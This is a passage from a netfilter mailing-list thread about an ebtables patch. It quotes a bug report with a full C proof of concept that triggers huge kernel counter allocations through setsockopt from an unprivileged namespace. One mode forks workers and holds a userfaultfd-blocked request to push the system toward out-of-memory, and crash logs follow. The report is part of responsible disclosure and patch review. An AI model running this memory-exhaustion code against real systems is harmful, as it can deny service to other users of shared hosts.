Re: [PATCH nf 0/1] netfilter: ebtables: avoid unbounded counter allocations

zihan xi <[email protected]> Wed, 29 Jul 2026 12:44:37 +0800
Newsgroups gmane.linux.network.bridge,gmane.comp.security.firewalls.netfilter.devel
Message-ID <CAANe3eQgQ1cELKRhFmnu46JN-CzWJo_JwiqZ4apeRNo6vvj3Lw@mail.gmail.com>
On Wed, Jul 29, 2026 at 3:35=E2=80=AFAM Pablo Neira Ayuso <pablo@netfilter.=
org> wrote:
>
> Hi,
>
> On Tue, Jul 28, 2026 at 02:09:43AM +0800, Ren Wei wrote:
> > From: Zihan Xi <[email protected]>
> >
> > Hi Linux kernel maintainers,
> >
> > We found and validated a issue in net/bridge/netfilter/ebtables.c. The =
bug is reachable by a
> > non-root user via user and net namespace.
> > We've tested it, and it should not affect any other functionality.
> >
> > We will provide detailed information about the bug
> > in this email, along with a PoC to trigger it.
> >
> > ---- details below ----
> >
> > Bug details:
> >
> > EBT_SO_SET_COUNTERS copies only a fixed struct ebt_replace header befor=
e it
> > allocates a temporary counter array. The user-controlled num_counters f=
ield is
> > used for that allocation before the target table is looked up and befor=
e it can
> > be compared with the table's real nentries value. A user with CAP_NET_A=
DMIN in
> > a user/net namespace can therefore request a very large allocation agai=
nst any
> > table name, even a non-existent one.
>
> You could just create a very large well-formed table with ebtables too?
>
> This is not a crash, just a very large allocation.
>
> [    1.577403] poc: vmalloc error: size 2147483520, exceeds total pages, =
mode:0xcc0(GFP_KERNEL), nodemask=3D(null),cpuset=3D/,mems_allowed=3D0
>
> > EBT_SO_SET_ENTRIES has the same root cause in do_replace_finish(). Afte=
r the
> > replacement blob is copied and validated, do_replace_finish() used
> > repl->num_counters to allocate counterstmp before find_table_lock() and=
 before
> > checking it against t->private->nentries. That path can trigger the sam=
e
> > unbounded allocation before the kernel knows whether the table exists o=
r how
> > many counters are valid for it.
> >
> > Recent public patches on July 2, 2026 and July 4, 2026 also tightened
> > bounds for do_replace()/do_replace_finish() and do_update_counters()
> > individually, but the underlying issue is the same in both paths:
> > temporary counter arrays are allocated from user-controlled counts befo=
re
> > the kernel has resolved the real table and validated the real nentries
> > value.
> >
> > Fix this by moving both temporary counter allocations after find_table_=
lock()
> > and after the num_counters-to-nentries validation. Invalid table names =
or
> > counter counts now fail with the existing semantic errors instead of fi=
rst
> > attempting a large allocation. This is a setsockopt control-plane trigg=
er, not
> > a packet-driven protocol-state trigger, so packetdrill cannot express t=
he key
> > EBT_SO_SET_COUNTERS/EBT_SO_SET_ENTRIES inputs; the reproducer uses sets=
ockopt()
> > directly.
> >
> > Reproducer:
> >
> >     gcc -O2 -static -o poc poc.c
> >     unshare -Urn ./poc
> >
> > We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> >
> > ------BEGIN poc.c------
> > #define _GNU_SOURCE
> >
> > #include <errno.h>
> > #include <fcntl.h>
> > #include <inttypes.h>
> > #include <poll.h>
> > #include <pthread.h>
> > #include <signal.h>
> > #include <stdbool.h>
> > #include <stdint.h>
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <sys/ioctl.h>
> > #include <sys/mman.h>
> > #include <sys/socket.h>
> > #include <sys/syscall.h>
> > #include <sys/types.h>
> > #include <sys/wait.h>
> > #include <unistd.h>
> >
> > #include <linux/userfaultfd.h>
> >
> > #ifndef O_CLOEXEC
> > #define O_CLOEXEC 02000000
> > #endif
> >
> > #define SOL_IP 0
> >
> > #define EBT_TABLE_MAXNAMELEN 32
> > #define EBT_BASE_CTL 128
> > #define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
> > #define EBT_SO_SET_COUNTERS (EBT_SO_SET_ENTRIES + 1)
> > #define EBT_SO_GET_INFO (EBT_BASE_CTL)
> > #define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
> >
> > #define NF_BR_NUMHOOKS 6
> >
> > struct ebt_counter {
> >       uint64_t pcnt;
> >       uint64_t bcnt;
> > };
> >
> > struct ebt_replace {
> >       char name[EBT_TABLE_MAXNAMELEN];
> >       unsigned int valid_hooks;
> >       unsigned int nentries;
> >       unsigned int entries_size;
> >       void *hook_entry[NF_BR_NUMHOOKS];
> >       unsigned int num_counters;
> >       struct ebt_counter *counters;
> >       char *entries;
> > };
> >
> > #define HUGE_NUM_COUNTERS 134217720U
> > #define HUGE_COUNTERS_LEN ((unsigned int)(sizeof(struct ebt_replace) + =
\
> >                                         HUGE_NUM_COUNTERS * sizeof(stru=
ct ebt_counter)))
> > #define TINY_ENTRIES_SIZE 1U
> > #define HUGE_REPLACE_LEN ((unsigned int)(sizeof(struct ebt_replace) + \
> >                                        TINY_ENTRIES_SIZE))
> >
> > _Static_assert(sizeof(struct ebt_replace) =3D=3D 120, "unexpected ebt_r=
eplace size");
> > _Static_assert(HUGE_COUNTERS_LEN =3D=3D 2147483640U,
> >              "unexpected huge setsockopt length");
> >
> > struct table_info {
> >       unsigned int nentries;
> >       unsigned int entries_size;
> >       unsigned int valid_hooks;
> > };
> >
> > struct blocker_state {
> >       int uffd;
> >       long page_size;
> >       void *fault_page;
> >       char *copy_page;
> >       volatile sig_atomic_t release_fault;
> >       volatile sig_atomic_t fault_seen;
> >       volatile sig_atomic_t blocker_started;
> >       struct ebt_replace *req;
> >       socklen_t optlen;
> >       int blocker_ret;
> >       int blocker_errno;
> > };
> >
> > static void fatal(const char *what)
> > {
> >       perror(what);
> >       exit(EXIT_FAILURE);
> > }
> >
> > static int make_inet_socket(void)
> > {
> >       int fd =3D socket(AF_INET, SOCK_STREAM, 0);
> >
> >       if (fd < 0)
> >               fatal("socket(AF_INET, SOCK_STREAM)");
> >       return fd;
> > }
> >
> > static void get_table_info(const char *name, struct table_info *info)
> > {
> >       struct ebt_replace req;
> >       socklen_t len =3D sizeof(req);
> >       int fd =3D make_inet_socket();
> >
> >       memset(&req, 0, sizeof(req));
> >       snprintf(req.name, sizeof(req.name), "%s", name);
> >
> >       if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &req, &len) !=3D 0)
> >               fatal("getsockopt(EBT_SO_GET_INFO)");
> >
> >       close(fd);
> >
> >       info->nentries =3D req.nentries;
> >       info->entries_size =3D req.entries_size;
> >       info->valid_hooks =3D req.valid_hooks;
> > }
> >
> > static int do_huge_update(const char *name, bool log_result)
> > {
> >       struct ebt_replace req;
> >       int fd =3D make_inet_socket();
> >       int saved_errno;
> >       int ret;
> >
> >       memset(&req, 0, sizeof(req));
> >       snprintf(req.name, sizeof(req.name), "%s", name);
> >       req.num_counters =3D HUGE_NUM_COUNTERS;
> >       req.counters =3D (struct ebt_counter *)0x10000;
> >
> >       errno =3D 0;
> >       ret =3D setsockopt(fd, SOL_IP, EBT_SO_SET_COUNTERS, &req,
> >                        HUGE_COUNTERS_LEN);
> >       saved_errno =3D errno;
> >       close(fd);
> >
> >       if (log_result)
> >               fprintf(stderr,
> >                       "[worker] SET_COUNTERS name=3D%s len=3D%u num_cou=
nters=3D%u -> ret=3D%d errno=3D%d (%s)\n",
> >                       name, HUGE_COUNTERS_LEN, HUGE_NUM_COUNTERS, ret,
> >                       saved_errno, strerror(saved_errno));
> >
> >       errno =3D saved_errno;
> >       return ret;
> > }
> >
> > static int do_huge_replace(const char *name, bool log_result)
> > {
> >       struct ebt_replace req;
> >       char tiny_entries[TINY_ENTRIES_SIZE] =3D {0};
> >       int fd =3D make_inet_socket();
> >       int saved_errno;
> >       int ret;
> >
> >       memset(&req, 0, sizeof(req));
> >       snprintf(req.name, sizeof(req.name), "%s", name);
> >       req.entries_size =3D TINY_ENTRIES_SIZE;
> >       req.entries =3D tiny_entries;
> >       req.num_counters =3D HUGE_NUM_COUNTERS;
> >       req.counters =3D (struct ebt_counter *)0x10000;
> >
> >       errno =3D 0;
> >       ret =3D setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &req,
> >                        HUGE_REPLACE_LEN);
> >       saved_errno =3D errno;
> >       close(fd);
> >
> >       if (log_result)
> >               fprintf(stderr,
> >                       "[worker] SET_ENTRIES name=3D%s len=3D%u entries_=
size=3D%u num_counters=3D%u allocation=3D%zu -> ret=3D%d errno=3D%d (%s)\n"=
,
> >                       name, HUGE_REPLACE_LEN, TINY_ENTRIES_SIZE,
> >                       HUGE_NUM_COUNTERS,
> >                       (size_t)HUGE_NUM_COUNTERS * sizeof(struct ebt_cou=
nter),
> >                       ret, saved_errno, strerror(saved_errno));
> >
> >       errno =3D saved_errno;
> >       return ret;
> > }
> >
> > static int open_userfaultfd(void)
> > {
> >       struct uffdio_api api;
> >       int fd;
> >
> >       fd =3D syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
> >       if (fd < 0) {
> >               fd =3D open("/dev/userfaultfd", O_RDWR | O_CLOEXEC | O_NO=
NBLOCK);
> >               if (fd < 0)
> >                       fatal("userfaultfd/open(/dev/userfaultfd)");
> >               fd =3D ioctl(fd, USERFAULTFD_IOC_NEW, O_CLOEXEC | O_NONBL=
OCK);
> >               if (fd < 0)
> >                       fatal("USERFAULTFD_IOC_NEW");
> >       }
> >
> >       memset(&api, 0, sizeof(api));
> >       api.api =3D UFFD_API;
> >       if (ioctl(fd, UFFDIO_API, &api) < 0)
> >               fatal("UFFDIO_API");
> >
> >       return fd;
> > }
> >
> > static void register_missing_page(struct blocker_state *st)
> > {
> >       struct uffdio_register reg;
> >
> >       st->fault_page =3D mmap(NULL, st->page_size, PROT_READ | PROT_WRI=
TE,
> >                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
> >       if (st->fault_page =3D=3D MAP_FAILED)
> >               fatal("mmap(fault_page)");
> >       if (munmap(st->fault_page, st->page_size) !=3D 0)
> >               fatal("munmap(fault_page)");
> >
> >       st->copy_page =3D calloc(1, (size_t)st->page_size);
> >       if (!st->copy_page)
> >               fatal("calloc(copy_page)");
> >
> >       memset(&reg, 0, sizeof(reg));
> >       reg.range.start =3D (unsigned long)st->fault_page;
> >       reg.range.len =3D (unsigned long)st->page_size;
> >       reg.mode =3D UFFDIO_REGISTER_MODE_MISSING;
> >       if (ioctl(st->uffd, UFFDIO_REGISTER, &reg) !=3D 0)
> >               fatal("UFFDIO_REGISTER");
> > }
> >
> > static void *uffd_handler_thread(void *arg)
> > {
> >       struct blocker_state *st =3D arg;
> >
> >       while (!st->release_fault) {
> >               struct uffd_msg msg;
> >               struct pollfd pfd =3D { .fd =3D st->uffd, .events =3D POL=
LIN };
> >               int pr =3D poll(&pfd, 1, 100);
> >
> >               if (pr < 0) {
> >                       if (errno =3D=3D EINTR)
> >                               continue;
> >                       fatal("poll(userfaultfd)");
> >               }
> >               if (pr =3D=3D 0)
> >                       continue;
> >               if (read(st->uffd, &msg, sizeof(msg)) !=3D sizeof(msg))
> >                       fatal("read(userfaultfd)");
> >               if (msg.event !=3D UFFD_EVENT_PAGEFAULT)
> >                       continue;
> >
> >               st->fault_seen =3D 1;
> >               fprintf(stderr,
> >                       "[blocker] userfaultfd trapped kernel copy_to_use=
r at address 0x%llx\n",
> >                       (unsigned long long)msg.arg.pagefault.address);
> >
> >               while (!st->release_fault)
> >                       usleep(10000);
> >
> >               struct uffdio_copy copy;
> >               memset(&copy, 0, sizeof(copy));
> >               copy.src =3D (unsigned long)st->copy_page;
> >               copy.dst =3D (unsigned long)st->fault_page;
> >               copy.len =3D (unsigned long)st->page_size;
> >               if (ioctl(st->uffd, UFFDIO_COPY, &copy) !=3D 0)
> >                       fatal("UFFDIO_COPY");
> >               fprintf(stderr, "[blocker] released the trapped GET_ENTRI=
ES fault\n");
> >               break;
> >       }
> >
> >       return NULL;
> > }
> >
> > static void *blocker_thread(void *arg)
> > {
> >       struct blocker_state *st =3D arg;
> >       int fd =3D make_inet_socket();
> >
> >       st->blocker_started =3D 1;
> >       errno =3D 0;
> >       st->blocker_ret =3D getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES,
> >                                      st->req, &st->optlen);
> >       st->blocker_errno =3D errno;
> >       fprintf(stderr,
> >               "[blocker] getsockopt(EBT_SO_GET_ENTRIES) returned ret=3D=
%d errno=3D%d (%s)\n",
> >               st->blocker_ret, st->blocker_errno, strerror(st->blocker_=
errno));
> >       close(fd);
> >       return NULL;
> > }
> >
> > static uint64_t read_meminfo_kb(const char *key)
> > {
> >       char name[128];
> >       uint64_t value;
> >       FILE *f =3D fopen("/proc/meminfo", "r");
> >
> >       if (!f)
> >               fatal("fopen(/proc/meminfo)");
> >       while (fscanf(f, "%127s %" SCNu64 " kB", name, &value) =3D=3D 2) =
{
> >               name[strcspn(name, ":")] =3D '\0';
> >               if (strcmp(name, key) =3D=3D 0) {
> >                       fclose(f);
> >                       return value;
> >               }
> >       }
> >       fclose(f);
> >       fatal("read_meminfo_kb");
> >       return 0;
> > }
> >
> > static void kill_children(pid_t *children, int n)
> > {
> >       int i;
> >
> >       for (i =3D 0; i < n; i++)
> >               if (children[i] > 0)
> >                       kill(children[i], SIGKILL);
> > }
> >
> > static void reap_children(pid_t *children, int n)
> > {
> >       int i;
> >
> >       for (i =3D 0; i < n; i++)
> >               if (children[i] > 0)
> >                       waitpid(children[i], NULL, 0);
> > }
> >
> > static void run_oom_mode(int workers, int timeout_sec)
> > {
> >       struct blocker_state st;
> >       struct table_info filter;
> >       pthread_t blocker_tid;
> >       pthread_t uffd_tid;
> >       pid_t *children;
> >       uint64_t mem_before, mem_after;
> >       int i;
> >
> >       if (workers <=3D 0)
> >               fatal("workers must be positive");
> >
> >       memset(&st, 0, sizeof(st));
> >       get_table_info("filter", &filter);
> >
> >       fprintf(stderr,
> >               "[setup] filter table: nentries=3D%u entries_size=3D%u va=
lid_hooks=3D0x%x\n",
> >               filter.nentries, filter.entries_size, filter.valid_hooks)=
;
> >       fprintf(stderr,
> >               "[setup] huge update request: len=3D%u num_counters=3D%u =
allocation=3D%zu bytes\n",
> >               HUGE_COUNTERS_LEN, HUGE_NUM_COUNTERS,
> >               (size_t)HUGE_NUM_COUNTERS * sizeof(struct ebt_counter));
> >
> >       st.page_size =3D sysconf(_SC_PAGESIZE);
> >       if (st.page_size <=3D 0)
> >               fatal("sysconf(_SC_PAGESIZE)");
> >
> >       st.uffd =3D open_userfaultfd();
> >       register_missing_page(&st);
> >
> >       st.req =3D calloc(1, sizeof(*st.req));
> >       if (!st.req)
> >               fatal("calloc(blocker request)");
> >
> >       snprintf(st.req->name, sizeof(st.req->name), "%s", "filter");
> >       st.req->nentries =3D filter.nentries;
> >       st.req->entries_size =3D filter.entries_size;
> >       st.req->num_counters =3D 0;
> >       st.req->entries =3D st.fault_page;
> >       st.optlen =3D sizeof(*st.req) + filter.entries_size;
> >
> >       if (pthread_create(&uffd_tid, NULL, uffd_handler_thread, &st) !=
=3D 0)
> >               fatal("pthread_create(uffd)");
> >       if (pthread_create(&blocker_tid, NULL, blocker_thread, &st) !=3D =
0)
> >               fatal("pthread_create(blocker)");
> >
> >       for (i =3D 0; i < timeout_sec * 100; i++) {
> >               if (st.fault_seen)
> >                       break;
> >               usleep(10000);
> >       }
> >       if (!st.fault_seen) {
> >               fprintf(stderr,
> >                       "[setup] blocker did not hit the userfaultfd trap=
 within %d seconds\n",
> >                       timeout_sec);
> >               st.release_fault =3D 1;
> >               pthread_join(blocker_tid, NULL);
> >               pthread_join(uffd_tid, NULL);
> >               exit(EXIT_FAILURE);
> >       }
> >
> >       mem_before =3D read_meminfo_kb("MemAvailable");
> >       fprintf(stderr, "[state] MemAvailable before workers: %" PRIu64 "=
 kB\n",
> >               mem_before);
> >
> >       children =3D calloc((size_t)workers, sizeof(*children));
> >       if (!children)
> >               fatal("calloc(children)");
> >
> >       for (i =3D 0; i < workers; i++) {
> >               pid_t pid =3D fork();
> >
> >               if (pid < 0)
> >                       fatal("fork");
> >               if (pid =3D=3D 0) {
> >                       do_huge_update("bogus", true);
> >                       _exit(EXIT_SUCCESS);
> >               }
> >               children[i] =3D pid;
> >               fprintf(stderr, "[parent] spawned worker pid=3D%d\n", pid=
);
> >       }
> >
> >       sleep(2);
> >       mem_after =3D read_meminfo_kb("MemAvailable");
> >       fprintf(stderr,
> >               "[state] MemAvailable after workers: %" PRIu64 " kB (delt=
a=3D%" PRIi64 " kB)\n",
> >               mem_after, (int64_t)mem_after - (int64_t)mem_before);
> >       fprintf(stderr, "[state] waiting up to %d seconds for an OOM-indu=
ced crash\n",
> >               timeout_sec);
> >
> >       sleep(timeout_sec);
> >
> >       fprintf(stderr, "[cleanup] timeout expired without a kernel panic=
; releasing blocker\n");
> >       st.release_fault =3D 1;
> >       pthread_join(blocker_tid, NULL);
> >       pthread_join(uffd_tid, NULL);
> >       kill_children(children, workers);
> >       reap_children(children, workers);
> >       free(children);
> > }
> >
> > static void usage(const char *prog)
> > {
> >       fprintf(stderr,
> >               "Usage:\n"
> >               "  %s counters [table]\n"
> >               "  %s replace [table]\n"
> >               "  %s oom [workers] [timeout_sec]\n",
> >               prog, prog, prog);
> > }
> >
> > int main(int argc, char **argv)
> > {
> >       if (argc < 2) {
> >               do_huge_update("bogus", true);
> >               do_huge_replace("bogus", true);
> >               return EXIT_FAILURE;
> >       }
> >
> >       if (strcmp(argv[1], "counters") =3D=3D 0) {
> >               const char *name =3D (argc >=3D 3) ? argv[2] : "bogus";
> >               int ret =3D do_huge_update(name, true);
> >
> >               return (ret =3D=3D 0) ? EXIT_SUCCESS : EXIT_FAILURE;
> >       }
> >
> >       if (strcmp(argv[1], "replace") =3D=3D 0) {
> >               const char *name =3D (argc >=3D 3) ? argv[2] : "bogus";
> >               int ret =3D do_huge_replace(name, true);
> >
> >               return (ret =3D=3D 0) ? EXIT_SUCCESS : EXIT_FAILURE;
> >       }
> >
> >       if (strcmp(argv[1], "oom") =3D=3D 0) {
> >               int workers =3D (argc >=3D 3) ? atoi(argv[2]) : 3;
> >               int timeout_sec =3D (argc >=3D 4) ? atoi(argv[3]) : 10;
> >
> >               run_oom_mode(workers, timeout_sec);
> >               return EXIT_SUCCESS;
> >       }
> >
> >       usage(argv[0]);
> >       return EXIT_FAILURE;
> > }
> > ------END poc.c--------
> >
> > ----BEGIN crash log----
> > EBT_SO_SET_COUNTERS path:
> > [    1.577403] poc: vmalloc error: size 2147483520, exceeds total pages=
, mode:0xcc0(GFP_KERNEL), nodemask=3D(null),cpuset=3D/,mems_allowed=3D0
> > [    1.578954] CPU: 1 UID: 0 PID: 64 Comm: poc Not tainted 7.2.0-rc4-00=
390-g743916aa8e8c #4 PREEMPT(lazy)
> > [    1.579038] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a=
rch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> > [    1.579145] Call Trace:
> > [    1.579555]  <TASK>
> > [    1.579713]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:12=
0)
> > [    1.579934]  warn_alloc (mm/page_alloc.c:4023)
> > [    1.579949]  __vmalloc_node_range_noprof (mm/vmalloc.c:4019)
> > [    1.579960]  ? folio_add_file_rmap_ptes (include/linux/vmstat.h:542 =
(discriminator 1) mm/rmap.c:1336 (discriminator 1) mm/rmap.c:1428 (discrimi=
nator 1) mm/rmap.c:1706 (discriminator 1) mm/rmap.c:1732 (discriminator 1))
> > [    1.579969]  ? do_update_counters.constprop.0 (net/bridge/netfilter/=
ebtables.c:1395 (discriminator 2))
> > [    1.579977]  ? filemap_map_pages (include/linux/rcupdate.h:873 mm/fi=
lemap.c:3984)
> > [    1.579992]  __vmalloc_node_noprof (mm/vmalloc.c:4143 (discriminator=
 4))
> > [    1.580006]  ? do_update_counters.constprop.0 (net/bridge/netfilter/=
ebtables.c:1395 (discriminator 2))
> > [    1.580011]  do_update_counters.constprop.0 (net/bridge/netfilter/eb=
tables.c:1395 (discriminator 2))
> > [    1.580020]  update_counters (net/bridge/netfilter/ebtables.c:1444)
> > [    1.580030]  nf_setsockopt (net/netfilter/nf_sockopt.c:101)
> > [    1.580052]  do_sock_setsockopt (net/socket.c:2368)
> > [    1.580066]  __sys_setsockopt (net/socket.c:2393)
> > [    1.580075]  __x64_sys_setsockopt (net/socket.c:2399 net/socket.c:23=
96 net/socket.c:2396)
> > [    1.580082]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/=
entry/syscall_64.c:94)
> > [    1.580090]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64=
.S:121)
> > [    1.580208] RIP: 0033:0x43523e
> > [    1.580370] Code: ff ff ff f7 d8 64 89 02 b8 ff ff ff ff c3 66 2e 0f=
 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 49 89 ca b8 36 00 00 00 0f 05=
 <48> 3d 00 f0 ff ff 77 0a c3 66 0f 1f 84 00 00 00 00 00 48 c7 c2 b8
> > [    1.580416] RSP: 002b:00007ffd9e4c8f48 EFLAGS: 00000246 ORIG_RAX: 00=
00000000000036
> > [    1.580438] RAX: ffffffffffffffda RBX: 00007ffd9e4c8f50 RCX: 0000000=
00043523e
> > [    1.580447] RDX: 0000000000000081 RSI: 0000000000000000 RDI: 0000000=
000000003
> > [    1.580454] RBP: 00007ffd9e4cafd7 R08: 000000007ffffff8 R09: 0000000=
000000000
> > [    1.580461] R10: 00007ffd9e4c8f50 R11: 0000000000000246 R12: 0000000=
000000003
> > [    1.580469] R13: 00007ffd9e4c9278 R14: 00000000004de808 R15: 0000000=
000000001
> > [    1.580500]  </TASK>
> > [worker] setsockopt(name=3Dbogus, len=3D2147483640, num_counters=3D1342=
17720) -> ret=3D-1 errno=3D12 (Cannot allocate memory)
> > EXIT 1
> >
> > EBT_SO_SET_ENTRIES path:
> > [    8.275233] poc: vmalloc error: size 2147483520, exceeds total pages=
, mode:0xcc0(GFP_KERNEL), nodemask=3D(null),cpuset=3D/,mems_allowed=3D0
> > [    8.297875] CPU: 1 UID: 0 PID: 62 Comm: poc Not tainted 7.2.0-rc4-00=
390-g743916aa8e8c #4 PREEMPT(lazy)
> > [    8.297957] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a=
rch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> > [    8.298283] Call Trace:
> > [    8.298471]  <TASK>
> > [    8.298471]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:12=
0)
> > [    8.298471]  warn_alloc (mm/page_alloc.c:4023)
> > [    8.298471]  ? alloc_pages_bulk_noprof (mm/page_alloc.c:5338 mm/page=
_alloc.c:5230)
> > [    8.298471]  __vmalloc_node_range_noprof (mm/vmalloc.c:4019)
> > [    8.298471]  ? do_replace_finish (net/bridge/netfilter/ebtables.c:10=
24 (discriminator 2))
> > [    8.298471]  ? __vmalloc_node_range_noprof (mm/vmalloc.c:694 mm/vmal=
loc.c:703 mm/vmalloc.c:3924 mm/vmalloc.c:4082)
> > [    8.298471]  __vmalloc_node_noprof (mm/vmalloc.c:4143 (discriminator=
 4))
> > [    8.298471]  ? do_replace_finish (net/bridge/netfilter/ebtables.c:10=
24 (discriminator 2))
> > [    8.298471]  do_replace_finish (net/bridge/netfilter/ebtables.c:1024=
 (discriminator 2))
> > [    8.298471]  ? do_replace (net/bridge/netfilter/ebtables.c:1145 (dis=
criminator 2))
> > [    8.298471]  do_replace (net/bridge/netfilter/ebtables.c:1156)
> > [    8.298471]  nf_setsockopt (net/netfilter/nf_sockopt.c:101)
> > [    8.298471]  do_sock_setsockopt (net/socket.c:2368)
> > [    8.298471]  __sys_setsockopt (net/socket.c:2393)
> > [    8.298471]  __x64_sys_setsockopt (net/socket.c:2399 net/socket.c:23=
96 net/socket.c:2396)
> > [    8.298471]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/=
entry/syscall_64.c:94)
> > [    8.298471]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64=
.S:121)
> > [    8.298471] RIP: 0033:0x4307be
> > [    8.298471] Code: ff ff ff f7 d8 64 89 02 b8 ff ff ff ff c3 66 2e 0f=
 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 49 89 ca b8 36 00 00 00 0f 05=
 <48> 3d 00 f0 ff ff 77 0a c3 66 0f 1f 84 00 00 00 00 00 48 c7 c2 b8
> > [    8.298471] RSP: 002b:00007ffc525761e8 EFLAGS: 00000246 ORIG_RAX: 00=
00000000000036
> > [    8.298471] RAX: ffffffffffffffda RBX: 00000000031ae378 RCX: 0000000=
0004307be
> > [    8.298471] RDX: 0000000000000080 RSI: 0000000000000000 RDI: 0000000=
000000003
> > [    8.298471] RBP: 00007ffc52576280 R08: 0000000000000079 R09: 0000000=
000000000
> > [    8.298471] R10: 00007ffc52576280 R11: 0000000000000246 R12: 0000000=
000000003
> > [    8.298471] R13: 00007ffc52577fd7 R14: 00000000004de808 R15: 0000000=
000000001
> > [    8.298471]  </TASK>
> > [worker] SET_ENTRIES name=3Dbogus len=3D121 entries_size=3D1 num_counte=
rs=3D134217720 allocation=3D2147483520 -> ret=3D-1 errno=3D12 (Cannot alloc=
ate memory)
> > EXIT 1
> > -----END crash log-----
> >
> > Best regards,
> > Zihan Xi
> >
> > Zihan Xi (1):
> >   netfilter: ebtables: avoid unbounded counter allocations
> >
> >  net/bridge/netfilter/ebtables.c | 34 ++++++++++++++++-----------------
> >  1 file changed, 17 insertions(+), 17 deletions(-)
> >
> > --
> > 2.43.0

Hi Pablo,

Thanks, that is a fair point.

Our concern was that invalid EBT_SO_SET_COUNTERS / EBT_SO_SET_ENTRIES
requests can trigger a large temporary counter allocation before the
kernel looks up the target table and checks the requested counter count
against the table's actual nentries value.

That said, you are right that a privileged user may already be able to
request large allocations through a sufficiently large, well-formed
ebtables table, and by itself this only results in a large allocation
attempt.

So our original report may have overstated the practical impact. From
your perspective, would you consider this primarily an undesirable
validation-order issue, or do you think it is still worth fixing
upstream?

Thanks for the clarification.

Best regards,
Zihan Xi